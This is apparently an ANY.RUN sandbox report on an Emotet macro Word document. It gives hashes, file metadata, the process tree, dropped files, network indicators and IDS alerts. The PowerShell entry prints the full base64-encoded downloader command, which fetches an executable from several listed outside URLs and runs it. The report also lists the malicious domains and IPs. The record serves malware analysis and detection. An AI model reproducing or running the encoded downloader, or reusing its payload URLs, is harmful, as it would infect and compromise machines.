analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

18-09-2019_07613.doc

Full analysis: https://app.any.run/tasks/6e789dec-1d15-432f-93fe-e296a0a339dd
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: September 19, 2019, 11:52:49
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
emotet-doc
emotet
generated-doc
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Senior Rustic Rubber Soap context-sensitive, Subject: Program, Author: Deon Raynor, Comments: benchmark, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Sep 18 11:25:00 2019, Last Saved Time/Date: Wed Sep 18 11:25:00 2019, Number of Pages: 1, Number of Words: 95, Number of Characters: 547, Security: 0
MD5:

168F95E1FB74647F9CD0C33436B2F608

SHA1:

ABF98DB8FB9484BEEC4E735E901FCF3E548591D6

SHA256:

AFDCCD405933071CDA1309E827C1007999B04022420486E54EBEFA4F53B7E0EB

SSDEEP:

6144:M3pm1VmTG3cBubZMHY6I2KDNTto08WQxqLkI47NSU4jJntATfDecj1jVkAM:M3pm1VmTG3cBubZMHY6I2KDNTto08WQG

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 553.exe (PID: 3676)
      • 553.exe (PID: 3816)
      • 553.exe (PID: 3076)
      • 553.exe (PID: 3012)
      • easywindow.exe (PID: 3004)
      • easywindow.exe (PID: 3220)
      • easywindow.exe (PID: 324)
      • easywindow.exe (PID: 3392)

    • Emotet process was detected

      • 553.exe (PID: 3816)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2356)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2356)
      • 553.exe (PID: 3816)

    • Executed via WMI

      • powershell.exe (PID: 2356)

    • PowerShell script executed

      • powershell.exe (PID: 2356)

    • Creates files in the user directory

      • powershell.exe (PID: 2356)

    • Starts itself from another location

      • 553.exe (PID: 3816)

    • Application launched itself

      • easywindow.exe (PID: 324)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2808)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2808)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: Senior Rustic Rubber Soap context-sensitive
Subject: Program
Author: Deon Raynor
Keywords: -
Comments: benchmark
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:09:18 10:25:00
ModifyDate: 2019:09:18 10:25:00
Pages: 1
Words: 95
Characters: 547
Security: None
CodePage: Windows Latin 1 (Western European)
Company: Walter and Sons
Lines: 4
Paragraphs: 1
CharCountWithSpaces: 641
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
Manager: Stamm
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
10
Malicious processes
4
Suspicious processes
3

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 553.exe no specs 553.exe no specs 553.exe no specs #EMOTET 553.exe easywindow.exe no specs easywindow.exe no specs easywindow.exe no specs easywindow.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2808"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\18-09-2019_07613.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2356powershell -encod JABiAGsAYQB0AGEAdwBaAD0AJwBzAHcAaQBRAEsASgA1ACcAOwAkAGIAQgBNAGoAdgBaAG4AIAA9ACAAJwA1ADUAMwAnADsAJABrAGkASABSADMASQBiAD0AJwBWADQATwBCAEMARwBYACcAOwAkAEQASwBpAE8AWABiAGsAdwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYgBCAE0AagB2AFoAbgArACcALgBlAHgAZQAnADsAJABYAEkAYgA5AG0AQQA2AD0AJwBOADMARABxAE0ASAAnADsAJABaAGMAdAB6AEUARgA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBFAHQALgBXAEUAYgBjAGwAaQBlAE4AdAA7ACQAcgB3AEYAMABzAEMAQwB6AD0AJwBoAHQAdABwADoALwAvAGIAcgBpAGsAZQBlAC4AYwBvAG0ALwBnAGEAbABsAGUAcgB5AC8ANABkAGMAbQBuADcAMgA0ADMAMAAvAEAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AZQBjAGgAZQBsAG8AbgBhAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdAB5AGgANQA3ADcANgA5AC8AQABoAHQAdABwADoALwAvAGcAcgB1AHAAbwBlAHEALgBjAG8AbQAvAGwAZQBkAHMALwBkAGEAbAA1ADIAMwAwADEALwBAAGgAdAB0AHAAOgAvAC8AawBpAHIAcwB0AGUAbgBiAGkAagBsAHMAbQBhAC4AYwBvAG0ALwBlAGMAcAA0AC8AbQBoAGgAMgAwADMAMAA1AC8AQABoAHQAdABwADoALwAvAHAAYQBpAGYAaQAuAG4AZQB0AC8AcwBzAGYAbQAvAGIAbQA4ADQAMAAvACcALgAiAFMAUABgAGwAaQBUACIAKAAnAEAAJwApADsAJAB1AGEAVABqAGsAMABMAD0AJwBrAG0AegBjAEsAegB3ACcAOwBmAG8AcgBlAGEAYwBoACgAJABqADAAbgBvAG8ATwBpACAAaQBuACAAJAByAHcARgAwAHMAQwBDAHoAKQB7AHQAcgB5AHsAJABaAGMAdAB6AEUARgAuACIAZABgAE8AYABXAE4AbABgAE8AQQBEAEYAaQBMAGUAIgAoACQAagAwAG4AbwBvAE8AaQAsACAAJABEAEsAaQBPAFgAYgBrAHcAKQA7ACQASQBJAHYAOABIAFgAPQAnAEoAdgBiAHUAcQBIADAAaQAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0ACcAKwAnAGUAbQAnACkAIAAkAEQASwBpAE8AWABiAGsAdwApAC4AIgBMAGUAbgBgAEcAdABIACIAIAAtAGcAZQAgADIANAAwADQAMwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYQBgAFIAVAAiACgAJABEAEsAaQBPAFgAYgBrAHcAKQA7ACQARQA0AEoAUQBDAE0APQAnAGkAcwBGAEUAUABaACcAOwBiAHIAZQBhAGsAOwAkAHYAdQA5AFMANwBFAGwAdwA9ACcAaQBCAGYAegA2ADkAegAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAEEANABzAHUAegA9ACcATwBGAHEATABWAGsASgBEACcAC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3676"C:\Users\admin\553.exe" C:\Users\admin\553.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3012"C:\Users\admin\553.exe" C:\Users\admin\553.exe—553.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3076--12e39b71C:\Users\admin\553.exe—553.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3816--12e39b71C:\Users\admin\553.exe
553.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3220"C:\Users\admin\AppData\Local\easywindow\easywindow.exe"C:\Users\admin\AppData\Local\easywindow\easywindow.exe—553.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
324"C:\Users\admin\AppData\Local\easywindow\easywindow.exe"C:\Users\admin\AppData\Local\easywindow\easywindow.exe—easywindow.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3392--fd47f3b8C:\Users\admin\AppData\Local\easywindow\easywindow.exe—easywindow.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3004--fd47f3b8C:\Users\admin\AppData\Local\easywindow\easywindow.exe—easywindow.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 724
Read events
1 257
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
9
Text files
0
Unknown types
43

Dropped files

PID
Process
Filename
Type
2808WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR8B9B.tmp.cvr —
MD5:—
SHA256:—
2808WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:54FC8FD0E5CA55F2CD08D5F0BD2CA9FB
SHA256:CCA462EECDA9073151737A161BF8C950B84ADDA620189C324E950EA2CD8A82B7
2808WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4C59F61.wmfwmf
MD5:57A54FD500316DB95D9DC66D7A44B3AC
SHA256:3B5B84CACED980A1B716CED99C7DB85A1800C0E9049BF8D08AE58A271784A4B5
2808WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D97879B.wmfwmf
MD5:14036B48B7AAB9FED9A478CE74CC92AB
SHA256:3879991D4189B06FF36991D3015DFDF15EF1B854E0F7EF5215C82C072ABA62AE
2808WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C00E7917.wmfwmf
MD5:FC0FB337C94F64F22317231E12ED2482
SHA256:47237993E90E0236CDDEADC1302A482070B3EA2CC7936B0822AE435CBC81943A
2808WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DD34E845.wmfwmf
MD5:D7D1D55CDFC2A75249B8B119435C336E
SHA256:75FA0B002B9B89E7819C56EF98546BBA842CB661AA95F74488E78E0553652C90
2808WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$-09-2019_07613.docpgc
MD5:88F36E119BB9B61D41F3C7C19FCCA762
SHA256:8459A6538263EF6A42FFF2E948200C67B14F3248CDD319292A594771EA1F6A81
2808WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3DA1454F.wmfwmf
MD5:1FB2819729093E0972D5B4DC92900307
SHA256:C452BC1C807E066D5D8A4A2235EF120BEBC801CCD237D8D3A1E24B43C9DEDB35
2808WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FEF84982.wmfwmf
MD5:B35A209E6DFCFC143D93F24249DF1CE2
SHA256:986DFFB4355B3AA21EFE4E3E7E7108D02DFFD23336E0357D32C43105278AA104
2808WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8B339A3D.wmfwmf
MD5:A531D248BA1AED368400288945E2AD7C
SHA256:8B3F6207D86A197BD85EBCF8AB66B68B34308DD1AE27693945A268C3BA450B12
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
4
DNS requests
7
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2356
powershell.exe
GET
302
129.121.15.236:80
http://brikee.com/gallery/4dcmn72430/
US
html
227 b
suspicious
2356
powershell.exe
GET
200
45.40.164.140:80
http://paifi.net/ssfm/bm840/
US
executable
376 Kb
suspicious
2356
powershell.exe
GET
404
185.57.197.56:80
http://grupoeq.com/leds/dal52301/
ES
html
273 b
suspicious
2356
powershell.exe
GET
200
129.121.15.236:80
http://brikee.com/cgi-sys/suspendedpage.cgi
US
html
7.12 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2356
powershell.exe
129.121.15.236:80
brikee.com
Colo4, LLC
US
suspicious
2356
powershell.exe
83.137.145.97:80
kirstenbijlsma.com
Duocast B.V.
NL
suspicious
2356
powershell.exe
45.40.164.140:80
paifi.net
GoDaddy.com, LLC
US
suspicious
2356
powershell.exe
185.57.197.56:80
grupoeq.com
Tecnocratica Centro de Datos, S.L.
ES
suspicious

DNS requests

Domain
IP
Reputation
brikee.com
  • 129.121.15.236
suspicious
www.echelona.net
  • —
unknown
grupoeq.com
  • 185.57.197.56
suspicious
kirstenbijlsma.com
  • 83.137.145.97
suspicious
paifi.net
  • 45.40.164.140
suspicious

Threats

PID
Process
Class
Message
2356
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2356
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2356
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
18-09-2019_07613.doc